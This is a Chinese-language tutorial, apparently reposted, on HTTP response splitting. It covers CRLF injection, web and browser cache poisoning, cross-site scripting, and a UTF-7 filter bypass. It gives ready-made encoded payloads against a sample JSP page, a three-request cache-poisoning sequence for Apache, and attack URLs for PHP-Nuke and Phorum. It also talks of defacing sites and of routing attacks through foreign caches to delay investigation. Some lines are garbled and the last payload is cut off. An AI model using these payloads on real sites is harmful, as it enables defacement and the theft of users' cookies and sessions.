HTTP响应头拆分漏洞
HTTP响应头拆分漏洞
By ivory(isno@qq)
dexp
一:前言
“HTTP响应头拆分漏洞”是一种新型的web攻击方案,它重新产生了很多安全漏洞包括:web缓存感染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞。这项攻击方案,包括其衍生的一系列技术产生,是由于web应用程序没有对用户的提交进行严格过滤,导致非法用户可以提交一些恶意字符,更具体来说,是对用户输入的CR 和LF字符没有进行严格的过滤。
“HTTP响应头拆分漏洞”及其相关的攻击手段可以在很多的web环境中实现,包括微软的asp、asp,IBM WebSphere,BEA WebLogic,Jakarta Tomcat,Macromedia oldFusion/MX,Sun Microsystems SunONE;流行的Squid和Apache服务器;流行的微软IE6.0浏览器。我不是在吹牛,很多大的站点都存在这样的漏洞,这让我大吃一惊。
这篇文章将描述攻击的概念并且提供一些使用实例分析。
二:介绍
在HTTP响应头拆分攻击中具体牵涉到三个对象:
1.漏洞服务器:即存在漏洞的服务器。
2.攻击工具:比如浏览器,类似IE6.0。
3.攻击者:发动攻击的人。
HTTP响应头拆分攻击本质是:攻击者可以发送一个或几个HTTP指令迫使漏洞服务器产生一个攻击者构想好的输出。它可以让服务器误把几条HTTP请求看成一次完成的HTTP请求来解释。第一条请求也许攻击者部分控制着一部分,但这并不是危险的;危险的是,攻击者完全控制着第二条HTTP请求,即从HTTP状态行一直到HTTP请求的尾部。如果这样可行,攻击者就会发送多个请求指令到目标系统:第一条使得服务器完全接受两个HTTP响应,第二条响应通常是在服务器上请求一些非法资源,而服务器将会自动匹配到第二条响应,输出攻击者想要请求的资源,从而达到攻击者的目的。
通过这个思路,我们可以构造出形形的攻击,具体来说:
1 跨站脚本攻击(XSS):这是一个非常普通和老式的漏洞,它可以让用户通过运行了一段javascript 或
者html代码后,可以截取该用户的cookie和session。但是到现在,通过一些重定向脚本发起一次XSS攻击是很困难的,尤其是当用户使用最新补丁的IE浏览器的时候,除非位置头是完全控制的。但是当结合HTTP响应头攻击确是可以非常简单实现,即使只是部分控制位置头。
2 web缓存中毒(我们称之为web损耗):这是一个新的攻击技术,攻击者强迫服务器高速缓存中记录了第二次HTTP请求,而服务器中的高速缓存记录的第二次请求是经过攻击者精心构造的。这将成功的对目标站点进行损耗,当其他人访问目标站点时,他们仅仅读取了高速缓存里的数据,造成站点被“黑”的假象。当然,除了站点损耗之外,攻击者也可以偷取用户的session和cookie。
3 通过对用户的攻击:这是第二种方式的一个特殊情况。它对单个用户的欺骗、对服务器单个页面的损耗,和暂时的磨损,也可以偷取到特定用户的session和cookie。
4 劫持具体用户的页面敏感信息:攻击者欺骗服务器,并取得敏感用户的权限,并进入其用户的状态,访问到一些秘密信息。
5 浏览器高速缓存中毒:这也是一项最新的攻击方式,它这和跨站脚本攻击方式有点类似,唯一的差别就是攻击者强迫浏览器高速缓存中记录一个长和持续的磨损的网页,直到浏览器的高速缓存已经清洁。
对于这些我将在后面一一作介绍。
三:web高速缓存中毒的实现
由于这是一个新兴的技术,所以这个段落我将对web高速缓存中毒的实现做进一步的分析。
1 毒害反向代理高速缓存:即电子涂写。在这种方式中,攻击者将直接面向网站。当然最厉害的手法是磨损该网站的首页,这样所有客户端将都受到影响,这也是最漂亮的手段,但是这样很容易被发现。
2 毒害一台中间高速缓存服务器:迂回。这种方式被发现是很困难的,中间缓存服务器是有很多的,
而且漏洞服务器不可能占有所有的中间缓存服务器,这些服务器很有可能不是在同一个地方,比如我们攻击台湾的站点,我们很有可能会先攻击一台位于美国的中间缓存服务器,即使被调查到了也是要很久的,也许我们早就有时间把所有的信息给清除。
3 毒害浏览器高速缓存:一针见血。攻击者很有可能会瞄准到一个特殊用户,例如从一个很富有的用户那里偷取到证书,这样的攻击将会变得很独特而且很难实施。因为,它不同于跨站脚本攻击,而且被毒害的页面要始终保持在高速缓存中以等待受害者(即你所瞄准的用户)来装载,有时候受害者从来都不会登陆到那个页面,或者是受害者浏览器禁止了JAVA脚本的执行等等,都会造成无法成功。
四:HTTP响应头漏洞攻击基本技术。
HTTP响应头攻击把代码嵌入到用户信息中并放在HTTP头部,也发生在把用户信息和代码嵌入到重定向到的URL中,或者把脚本嵌入到cookie值或者name里。在第一条响应中,重定向的URL是HTTP响应头的一部分,第二条响应是确定cookie,cookie中的name/value是响应头中set-cookie的一部分。由于攻击的特殊性,在实现攻击前,我们先来了解一下这两个字符的编码:
CR = %0d = \r
LF = %0a = \n
比如,我们考虑以下jsp页面(/isno.jsp),内容如下:
<%
response.sendRedirect("/isno.jsp?lang="+Parameter("lang"));
%>
假如使得parmeter lang=ivory,程序将会重定向到/isno.jsp?lang=ivory。通常一个标准的HTTP 请求会如下:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 12:53:28 GMT\r\n
Location: 192.168.0.1/isno.jsp?lang=ivory\r\n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with\r\n Content-Type: text/html\r\n
Set-Cookie: JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwBE!- 1251019693; path=/\r\n
Connection: Close\r\n
<html><head><title>302 Moved Temporarily</title></head>\r\n
<body bgcolor="#FFFFFF">\r\n
<p>This document you requested has moved temporarily.</p>\r\n
<p>It's now at <a
href="192.168.0.1/isno.jsp?lang=ivory";>192.168.0.1/isno.jsp?lang=ivory< ;/a>.</p>\r\n</bo
dy>\r\n</html>\r\n
这样我们能清楚的看出lang所赋的值被嵌入在Location响应头中。
好,我们来实行HTTP响应头攻击,再将lang赋值,这次并不是ivory,而是给另外一个东西。
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aC ontent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html> 这样的话,HTTP将会如下发送:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 15:26:41 GMT\r\n
Location: 192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html>\r\n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with\r\n
Content-Type: text/html\r\n
Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9UsS!- 1251019693; path=/\r\n
Connection: Close\r\n
<html><head><title>302 Moved Temporarily</title></head>\r\n
<body bgcolor="#FFFFFF">\r\n
<p>This document you requested has moved temporarily.</p>\r\n
<p>It's now at <a href="192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html>">192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html></a>.</p>\r\n
</body></html>\r\n
不同的地方我用颜标识出来了,但是这里我还是作一些解释:
这里提交了两个请求,第一个指向的URL是
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aC ontent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html> 第二个指向的URL是
/index.html
这样服务器会给第一个请求匹配到第一个响应:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 15:26:41 GMT\r\n
Location: 192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
对第二个请求(/index.html)自动匹配到第二个响应:
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html></a>.</p>\r\n
</body></html>\r\n
这样,攻击者就成功的愚弄了服务器。我们可以看出,上面这个例子非常的简单而且无知,但是是最简单的利用方法,当然实际的情况会更复杂,更会出现一些问题,我们将在下面的部分讨论实战中要考虑到的因素。
五:从实际出发—把绊脚石踢开
1 错误处理机制。
“错误处理”曾是iis漏洞的一个漏洞点,在iis5.0中,它允许客户端定制一个脚本来处理HTTP错误信息,
而不是给出真正的错误页面。举例来说,当用户请求一个资源,而该资源不存在的时候,会出现“资源无法访问(你所的页面不存在)”(HTTP状态404),而同时IIS5.0允许产生一个脚本代码响应给用户,这个代码可以是静态的HTML,也可以是动态的ASP等等。因此,这里就会产生一个HTTP 响应头拆分漏洞,但是只是针对iis5.0。
2 字符过滤器的饶过。
另一个要面对的问题就是,一些应用程序会过滤掉一些用户输入的非法字符。特别是对一些非ASCII 字符作严格的过滤。例如ASP.NET 1.0/1.1会尝试对数据进行UTF-8编码,如果在UTF-8中不符合的数
据将会自动丢失;ASP.NET 1.1不允许有’<’字符出现在一些数据的后面。
而我们在构造header头的时候,基本上都不会出现被过滤的情况。关键就是对body请求的构造,因为这个地方会出现一些让字符过滤器过滤的字符。
饶过的方法当然就是对body处进行UTF-7进行编码(RFC 2152 - [1]),这种编码方法可以对任意的unicode字符编码到“A-Z”,“a-z”,“0-9”,“/”,“-”,“+”中,这样可以让过滤器对我们提交的数据无法过滤。具体实现的方法如下:
I 修改第一处:
Content-Type: text/html;charset=utf-7
II 修改第二处:
将<html><body><script>alert('get,cookies:'+kie)</script></body></html>
编码后成为:
+ADw-html+AD4-+ADw-body+AD4-+ADw-script+AD4-alert('get,cookies:'+-kie)+ADw -/script+AD4-+ADw-/body+AD4-+ADw-/html+AD4-
3 使请求的URL长度尽量缩小。
六.对高速缓存中毒的分析,跨站脚本在IE中的利用
要使高速缓存中毒,我们必须要提交Last-Modified的HTTP响应头,并指明一个将来的日期。我用实例来说明一下对高速缓存中毒的攻击:
./isno.jsp?lang=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLa st-Modified:%20Wed,%201
3%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Length:%2046%0d%0a Content-Type:%20text/html%0d%0a%0d%0a<html><font color=red>I’m%20Isno!</font></html> HTTP/1.1
另外一个更实际的例子,对APACHE/2.0的攻击(APACHE很容易实现HTTP响应头拆分攻击,作为范例最好不过了):
springframework漏洞这次攻击将发送三条请求,第一条用来迫使服务器对资源的高速缓存无效,第二条请求将利用HTTP 响应头攻击,使得Apache自动连接第三条响应和第二条响应。
攻击具体如下:
第一次请求:
GET 192.168.0.1/index.html HTTP/1.1(由于apache不对”/”进行缓存)
Pragma: no-cache
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
第二次请求:
GET
192.168.0.1/isno.jsp?lang=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%2 0OK%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length: %2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>I’m%20isno!</html>
HTTP/1.1
Host: 192.168.0.1\r\n
User-Agent: Mozilla/4.7 [en] (WinNT; I)\r\n
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\n Accept-Encoding: gzip\r\n
Accept-Language: en\r\n
Accept-Charset: iso-8859-1,*,utf-8\r\n
第三次请求:
GET 192.168.0.1/index.html HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
另外注意的地方:比如IE EXPLORER 6.0(SP1),由于一些机制的影响,我们不能直接的象上面那样输入,要稍微想点办法,由于其缓冲区边界为1024个字节,所以它读取第一条请求使用了1024个字节,所以第二个请求必须要从1024个字节开始为边界,所以我们提交的会是下面这样的:
192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA … [填充1024个A]…
AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%2 0Sun,%2023%20Nov%202003%2014:05:11%20GMT%0d%0aContent-Length:%2028%0d%0a%0d%0a<html>Ha cked-by-isno!</html>
同样的思路,对于跨站脚本攻击的提交会是这样的:
192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA … [填充1024个A] …
AAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2 052%0d%0a%0d%0a<html><script>kie)</script></html>
这里一定要谨慎。
七.通过对用户的攻击—理论分析
Squid 2.4和ISA/2000允许用户分享与服务器的连接,这样的话,很有可能存在一个HTTP响应头拆分漏洞的隐患,可以提交两次对服务器的请求,如果这两次请求存在一个延迟,这时攻击者要断开和服务器的连接,而受害的用户再给出一个对服务器的请求的时候,这样就产生了一个攻击。我们可以看出,这样的攻击,要求对与服务器断开连接的时间上做很好的控制,特别是当两次请求包的延迟比10毫秒还低的时候(在Squid 2.4上证明了这一点)。对于ISA/2000来说,攻击方式稍微要简单些,因为两个用户可能分享相同的TCP连接,所以并不需要攻击者断开与服务器的连接。
八.劫持用户页敏感信息
这个有点类似于我们所说的中间人攻击。这时候攻击者充当着两个角:对用户来说他充当了服务器的角,对服务器来说他充当了用户的角,然后象一个审查员一样的工作,这样不仅可以劫持到用户的敏感信息,而且同样可以进行篡改和添加。
九.实际的安全漏洞两则
以下我会举出一些更具体的例子来加深一下印象。
1 PHP-NUKE 7.6及更低版本HTTP响应拆分漏洞
起因是应用程序没有正确的过滤用户提供的输入。远程攻击者可以利用这个漏洞影响或错误的显示Web内容服务,缓存或解释的方式,这可能帮助诱骗客户端用户,导致跨站脚本,缓存破坏或页面劫持等漏洞。
攻击手法如下
localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHEL LO I AM VULNERABLE TO HTTP RESPONSE \
SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3E<;t itle>This is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> \
2 Phorum HTTP响应拆分漏洞
由于没能正确的验证传送给Location参数的输入,攻击者可能向HTTP首部中注入恶意的字符。这可能导
致在受影响站点的用户浏览器会话中执行任意HTML和脚本代码,进而展开各种攻击,如跨站脚本、破坏Web或浏览器缓存、劫持页面等。
攻击手法如下:
[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。